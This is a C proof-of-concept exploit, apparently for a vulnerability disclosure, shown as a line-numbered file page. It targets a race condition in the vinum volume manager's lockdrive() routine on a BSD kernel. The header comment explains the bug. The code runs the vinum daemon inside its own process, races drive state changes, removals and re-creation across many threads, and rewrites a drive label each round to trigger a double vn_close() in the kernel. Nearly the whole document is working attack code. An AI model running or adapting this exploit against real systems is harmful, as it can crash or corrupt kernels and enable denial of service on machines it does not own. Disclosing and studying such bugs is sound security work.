DF-5109 / lockdrive_recursion.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 | /* * DF-5109 PoC v3: vinumlock.c lockdrive() pid-based "recursion" admits a * second thread of the same process into the drive critical section. * * Key reachability fact: VINUM_DAEMON (vinumioctl.c:296) runs vinum_daemon() * INSIDE the issuing process -- the daemon thread shares the issuer's pid. * The daemon's close_drive() (daemonrq_closedrive) and this process's other * threads (VINUM_SETSTATE down -> queued closes racing VINUM_REMOVE -> * free_drive -> LOCKDRIVE) therefore share one pid: when the daemon sleeps * inside close_locked_drive()->vn_close() (VF_OPEN and drive->vp still set), * a same-process remover entering lockdrive() takes the "already locking" * recursion branch (vinumlock.c:59-75, logged unconditionally at :70-73) * and runs close_locked_drive() AGAIN -> double vn_close(). * * build: cc -O2 -pthread -o lockdrive_recursion lockdrive_recursion.c * usage: ./lockdrive_recursion <seconds> <racers> (root) */ #include <sys/ioctl.h> #include <sys/types.h> #include <sys/fcntl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #define L 'F' #define BUFSIZE 1024 #define MAX_IOCTL_REPLY 256 struct ioctl_reply { int error; char msg[MAX_IOCTL_REPLY]; }; struct vinum_ioctl_msg { int index; int type; /* 0 = drive_object */ int state; /* 3 = object_up, 0 = down */ int op; int force; int recurse; int verify; int otherobject; int rename; int64_t offset; int blocksize; }; #define VINUM_CREATE _IOC(IOC_IN | IOC_OUT, L, 64, BUFSIZE) #define VINUM_SETSTATE _IOC(IOC_IN | IOC_OUT, L, 76, MAX_IOCTL_REPLY) #define VINUM_REMOVE _IOWR(L, 83, struct ioctl_reply) #define VINUM_DAEMON _IOC(0, L, 92, 0) static int ctl; static volatile int stop = 0; /* the vinum label blob for drive "d0" (magic + name at offset 48) -- * written to the backing partition at VINUM_LABEL_OFFSET (4096) each * round so the drive can be re-created 'up' after each obliteration */ static unsigned char lbl[512] = { 0x49,0x4e,0x20,0x56,0x49,0x4e,0x4f,0x00, /* magic */ 0x00,0x00,0x01,0x00, /* config_length */ 'd','f','b','s','d',0,0,0,0,0,0,0,0,0,0,0, /* sysname */ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 'd','0',0,0,0,0,0,0,0,0,0,0,0,0,0,0, /* name @48 */ }; static const char *devnode = "/dev/vn3s1a"; static int create_line(const char *line) { char buf[BUFSIZE]; int r; memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf) - 1, "%s", line); r = ioctl(ctl, VINUM_CREATE, buf); return (r < 0 || *(int *)buf != 0) ? -1 : 0; } static void relabel(void) { int fd = open(devnode, O_WRONLY); if (fd >= 0) { pwrite(fd, lbl, sizeof(lbl), 4096); close(fd); } } static int do_setstate(int index, int state, int force) { char buf[BUFSIZE]; struct vinum_ioctl_msg *msg = (struct vinum_ioctl_msg *)buf; memset(buf, 0, sizeof(buf)); msg->index = index; msg->type = 0; /* drive */ msg->state = state; msg->force = force; return (ioctl(ctl, VINUM_SETSTATE, buf) < 0) ? -1 : 0; } static int remove_drive(int index) { char buf[BUFSIZE]; struct vinum_ioctl_msg *msg = (struct vinum_ioctl_msg *)buf; memset(buf, 0, sizeof(buf)); msg->index = index; msg->type = 0; msg->force = 1; msg->recurse = 1; if (ioctl(ctl, VINUM_REMOVE, buf) < 0) return (-1); return (*(int *)buf); } static void * daemon_thread(void *arg) { (void)arg; ioctl(ctl, VINUM_DAEMON, 0); /* becomes the vinum daemon */ return (NULL); } static void * cycler(void *arg) { long id = (long)arg; long ups = 0; while (!stop) { /* bring d0 back: fresh label, create, force up */ relabel(); if (create_line("drive d0 device /dev/vn3s1a") == 0) { do_setstate(0, 3, 1); /* slot 0 if freed, else find */ do_setstate(3, 3, 1); ups++; } usleep(20000); } fprintf(stderr, "cycler %ld: %ld up rounds\n", id, ups); return (NULL); } static void * downer(void *arg) { long id = (long)arg; long downs = 0, rms = 0; while (!stop) { /* queue daemon closes + race removals on both slots */ if (do_setstate(0, 0, 1) == 0) downs++; if (do_setstate(3, 0, 1) == 0) downs++; if (remove_drive(0) == 0) rms++; if (remove_drive(3) == 0) rms++; } fprintf(stderr, "downer %ld: %ld downs, %ld removes\n", id, downs, rms); return (NULL); } int main(int argc, char **argv) { long seconds = (argc > 1) ? atol(argv[1]) : 60; long nrace = (argc > 2) ? atol(argv[2]) : 6; pthread_t dae, *ths; long i; ctl = open("/dev/vinum/control", O_RDWR); if (ctl < 0) { perror("/dev/vinum/control"); return (1); } /* start the vinum daemon inside THIS process (shares our pid) */ pthread_create(&dae, NULL, daemon_thread, NULL); usleep(100000); ths = calloc(nrace * 2, sizeof(*ths)); for (i = 0; i < nrace; i++) pthread_create(&ths[i], NULL, downer, (void *)i); for (i = 0; i < nrace; i++) pthread_create(&ths[nrace + i], NULL, cycler, (void *)i); sleep(seconds); stop = 1; for (i = 0; i < nrace * 2; i++) pthread_join(ths[i], NULL); fprintf(stderr, "done - check dmesg for 'vinum lockdrive: already locking'\n"); return (0); } |